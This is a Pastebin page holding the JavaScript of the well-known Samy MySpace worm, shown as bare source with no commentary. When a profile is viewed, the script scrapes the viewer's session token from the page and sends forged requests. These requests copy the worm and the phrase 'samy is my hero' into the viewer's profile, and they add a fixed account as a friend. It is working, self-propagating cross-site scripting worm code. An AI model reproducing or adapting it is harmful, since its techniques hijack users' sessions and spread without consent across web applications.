Advertisement
bat86

Untitled

Mar 12th, 2015
250
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <script>
  2. var doublequote = String.fromCharCode(34); // "
  3. var simplequote = String.fromCharCode(39); // '
  4.  
  5. function g() {
  6.     var C;
  7.     try {
  8.         var D = document.body.createTextRange();
  9.         C = D.htmlText
  10.     } catch (e) {}
  11.     if (C) {
  12.         return C
  13.     } else {
  14.         return eval('document.body.innerHTML')
  15.     }
  16. }
  17.  
  18. function getData(AU) {
  19.     M = getFromURL(AU, 'friendID');
  20.     token = getFromURL(AU, 'Mytoken')
  21. }
  22.  
  23. function getQueryParams() {
  24.     var E = document.location.search;
  25.     var F = E.substring(1, E.length).split('&');
  26.     var AS = new Array();
  27.     for (var O = 0; O < F.length; O++) {
  28.         var I = F[O].split('=');
  29.         AS[I[0]] = I[1]
  30.     }
  31.     return AS
  32. }
  33. var J;
  34. var AS = getQueryParams();
  35. var token = AS['Mytoken'];
  36. var M = AS['friendID'];
  37. if (location.hostname == 'profile.myspace.com') {
  38.     document.location = 'http://www.myspace.com' + location.pathname + location.search
  39. } else {
  40.     if (!M) {
  41.         getData(g())
  42.     }
  43.     main()
  44. }
  45.  
  46. function getClientFID() {
  47.     return findIn(g(), 'up_launchIC( ' + simplequote, simplequote)
  48. }
  49.  
  50. function nothing() {}
  51.  
  52. function paramsToString(AV) {
  53.     var N = new String();
  54.     var O = 0;
  55.     for (var P in AV) {
  56.         if (O > 0) {
  57.             N += '&'
  58.         }
  59.         var Q = escape(AV[P]);
  60.         while (Q.indexOf('+') != -1) {
  61.             Q = Q.replace('+', '%2B')
  62.         }
  63.         while (Q.indexOf('&') != -1) {
  64.             Q = Q.replace('&', '%26')
  65.         }
  66.         N += P + '=' + Q;
  67.         O++
  68.     }
  69.     return N
  70. }
  71.  
  72. function httpSend(voirprofile, BI, BJ, BK) {
  73.     if (!J) {
  74.         return false
  75.     }
  76.     eval('J.onreadystatechange=BI');
  77.     J.open(BJ, voirprofile, true);
  78.     if (BJ == 'POST') {
  79.         J.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  80.         J.setRequestHeader('Content-Length', BK.length)
  81.     }
  82.     J.send(BK);
  83.     return true
  84. }
  85.  
  86. function findIn(BF, BB, BC) {
  87.     var R = BF.indexOf(BB) + BB.length;
  88.     var S = BF.substring(R, R + 1024);
  89.     return S.substring(0, S.indexOf(BC))
  90. }
  91.  
  92. function getHiddenParameter(BF, BG) {
  93.     return findIn(BF, 'name=' + doublequote + BG + doublequote + ' value=' + doublequote, doublequote)
  94. }
  95.  
  96. function getFromURL(BF, BG) {
  97.     var T;
  98.     if (BG == 'Mytoken') {
  99.         T = doublequote
  100.     } else {
  101.         T = '&'
  102.     }
  103.     var U = BG + '=';
  104.     var V = BF.indexOf(U) + U.length;
  105.     var W = BF.substring(V, V + 1024);
  106.     var X = W.indexOf(T);
  107.     var Y = W.substring(0, X);
  108.     return Y
  109. }
  110.  
  111. function getXMLObj() {
  112.     var Z = false;
  113.     if (window.XMLHttpRequest) {
  114.         try {
  115.             Z = new XMLHttpRequest()
  116.         } catch (e) {
  117.             Z = false
  118.         }
  119.     } else if (window.ActiveXObject) {
  120.         try {
  121.             Z = new ActiveXObject('Msxml2.XMLHTTP')
  122.         } catch (e) {
  123.             try {
  124.                 Z = new ActiveXObject('Microsoft.XMLHTTP')
  125.             } catch (e) {
  126.                 Z = false
  127.             }
  128.         }
  129.     }
  130.     return Z
  131. }
  132. var AA = g();
  133. var AB = AA.indexOf('m' + 'ycode');
  134. var AC = AA.substring(AB, AB + 4096);
  135. var AD = AC.indexOf('D' + 'IV');
  136. var AE = AC.substring(0, AD);
  137. var AF;
  138. if (AE) {
  139.     AE = AE.replace('java', simplequote + 'java');
  140.     AE = AE.replace('expr)', 'expr)' + simplequote);
  141.     AF = ' but most of all, samy is my hero. <div id=' + AE + 'DIV>'
  142. }
  143. var AG;
  144.  
  145. function getHome() {
  146.     if (J.readyState != 4) {
  147.         return
  148.     }
  149.     var AU = J.responseText;
  150.     AG = findIn(AU, 'ProfileHeroes', '</td>');
  151.     AG = AG.substring(61, AG.length);
  152.     if (AG.indexOf('samy') == -1) {
  153.         if (AF) {
  154.             AG += AF;
  155.             var AR = getFromURL(AU, 'Mytoken');
  156.             var AS = new Array();
  157.             AS['interestLabel'] = 'heroes';
  158.             AS['submit'] = 'Preview';
  159.             AS['interest'] = AG;
  160.             J = getXMLObj();
  161.             httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken=' + AR, postHero, 'POST', paramsToString(AS))
  162.         }
  163.     }
  164. }
  165.  
  166. function postHero() {
  167.     if (J.readyState != 4) {
  168.         return
  169.     }
  170.     var AU = J.responseText;
  171.     var AR = getFromURL(AU, 'Mytoken');
  172.     var AS = new Array();
  173.     AS['interestLabel'] = 'heroes';
  174.     AS['submit'] = 'Submit';
  175.     AS['interest'] = AG;
  176.     AS['hash'] = getHiddenParameter(AU, 'hash');
  177.     httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken=' + AR, nothing, 'POST', paramsToString(AS))
  178. }
  179.  
  180. function main() {
  181.     var friendid = getClientFID();
  182.     var voirprofile = '/index.cfm?fuseaction=user.viewProfile&friendID=' + friendid + '&Mytoken=' + token;
  183.     J = getXMLObj();
  184.     httpSend(voirprofile, getHome, 'GET');
  185.     xmlhttp2 = getXMLObj();
  186.     httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken=' + token, processxForm, 'GET')
  187. }
  188.  
  189. function processxForm() {
  190.     if (xmlhttp2.readyState != 4) {
  191.         return
  192.     }
  193.     var AU = xmlhttp2.responseText;
  194.     var AQ = getHiddenParameter(AU, 'hashcode');
  195.     var AR = getFromURL(AU, 'Mytoken');
  196.     var AS = new Array();
  197.     AS['hashcode'] = AQ;
  198.     AS['friendID'] = '11851658';
  199.     AS['submit'] = 'Add to Friends';
  200.     httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken=' + AR, nothing, 'POST', paramsToString(AS))
  201. }
  202.  
  203. function httpSend2(voirprofile, BI, BJ, BK) {
  204.     if (!xmlhttp2) {
  205.         return false
  206.     }
  207.     eval('xmlhttp2.onreadystatechange=BI');
  208.     xmlhttp2.open(BJ, voirprofile, true);
  209.     if (BJ == 'POST') {
  210.         xmlhttp2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  211.         xmlhttp2.setRequestHeader('Content-Length', BK.length)
  212.     }
  213.     xmlhttp2.send(BK);
  214.     return true
  215. }
  216.  
  217. </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement